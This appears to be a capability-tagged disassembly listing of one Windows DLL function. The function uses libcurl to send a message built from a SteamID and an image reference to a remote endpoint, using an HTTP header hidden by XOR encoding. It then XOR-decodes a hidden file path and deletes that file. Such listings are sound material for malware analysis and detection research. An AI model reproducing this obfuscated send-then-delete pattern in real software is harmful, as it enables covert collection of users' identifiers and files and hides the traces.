Function at 0x180001e40
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x180040030]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rdi, r9
mov rbx, rdx
mov rsi, rcx
xor r14d, r14d
mov dword [rsp + 0x70], r14d
lea ecx, [r14 + 3]
call qword [sym.imp.libcurl.dll_curl_global_init]
call qword [sym.imp.libcurl.dll_curl_easy_init]
mov r13, rax
test rax, rax
je 0x180002546
mov r8, rsi
mov edx, 0x2712
mov rcx, rax
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
lea edx, [r14 + 0x2f]
lea r8d, [r14 + 1]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x180034fa8]
mov qword [rbp + 0x40], rax
lea rax, [0x180034fa0]
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x70], 1
xor r8d, r8d
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x58], rax
mov qword [rbp + 0xc0], r14
mov dword [rbp + 0xc8], r14d
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x14
jb 0x180002576
cmp qword [rbx + 0x18], 0x10
jb 0x180001f7c
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x14
lea r9, str._content_:_Detect:
lea rcx, [rbp - 8]
call fcn.180004990
nop
mov r8d, 0xb
lea rdx, str.__SteamID:
lea rcx, [rbp - 8]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x180041378]
cmp qword [0x180041390], 0x10
cmovae rdx, qword [0x180041378]
mov r8, qword [0x180041388]
lea rcx, [rbp - 0x28]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 9
lea rdx, str.__Image:
lea rcx, [rbp - 0x48]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x180002088
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 2
lea rdx, [0x180034a30]
lea rcx, [rsp + 0x78]
call fcn.1800056c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.180004ae0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x18000216b
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002166
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002166
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x1800021bd
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800021b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800021b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rbp - 0x78], xmm0
mov byte [rsp + 0x78], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x18000220d
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002208
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002208
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x18000225c
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002257
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rbp - 0x38], xmm0
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1800022ab
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800022a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800022a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rbp - 0x18], xmm0
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x1800022fa
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800022f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800022f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x58]
call fcn.180003e70
lea r8, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae r8, qword [rbp + 0x18]
mov edx, 0x271f
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
movdqa xmm1, xmmword [0x1800375b0]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [str.aaxrpex]
movdqu xmmword [rsp + 0x50], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
mov byte [rsp + 0x5f], 0
lea rdx, [rsp + 0x41]
xor ecx, ecx
call qword [sym.imp.libcurl.dll_curl_slist_append]
mov qword [rsp + 0x70], rax
mov r8, rax
mov edx, 0x2727
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_setopt]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_perform]
mov byte [rsp + 0x60], 9
mov cl, 0x4a
mov dl, 0x33
mov r8b, 0x55
mov r9b, 0x6b
mov r10b, 0x6c
movzx r11d, r9b
mov al, 0x7b
mov bl, 0x68
mov dil, 0x27
mov sil, 0x79
mov r14b, 0x67
mov r15b, 0x6e
xor r12d, r12d
xor cl, 9
mov byte [rsp + 0x61], cl
xor dl, 9
mov byte [rsp + 0x62], dl
xor r8b, 9
mov byte [rsp + 0x63], r8b
xor r9b, 9
mov byte [rsp + 0x64], r9b
xor r10b, 9
mov byte [rsp + 0x65], r10b
xor r11b, 9
mov byte [rsp + 0x66], r11b
xor al, 9
mov byte [rsp + 0x67], al
xor bl, 9
mov byte [rsp + 0x68], bl
xor dil, 9
mov byte [rsp + 0x69], dil
xor sil, 9
mov byte [rsp + 0x6a], sil
xor r14b, 9
mov byte [rsp + 0x6b], r14b
xor r15b, 9
mov byte [rsp + 0x6c], r15b
mov byte [rsp + 0x6d], r12b
lea rcx, [rsp + 0x61]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, r13
call qword [sym.imp.libcurl.dll_curl_easy_cleanup]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.libcurl.dll_curl_slist_free_all]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1800024ef
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800024ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180030790
movdqa xmm0, xmmword [0x1800371c0]
movdqu xmmword [rbp + 0x28], xmm0
mov byte [rbp + 0x18], r12b
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x58]
call fcn.180002db0
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
call qword [sym.imp.libcurl.dll_curl_global_cleanup]
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.180030770
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x250
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180005790
nop
int3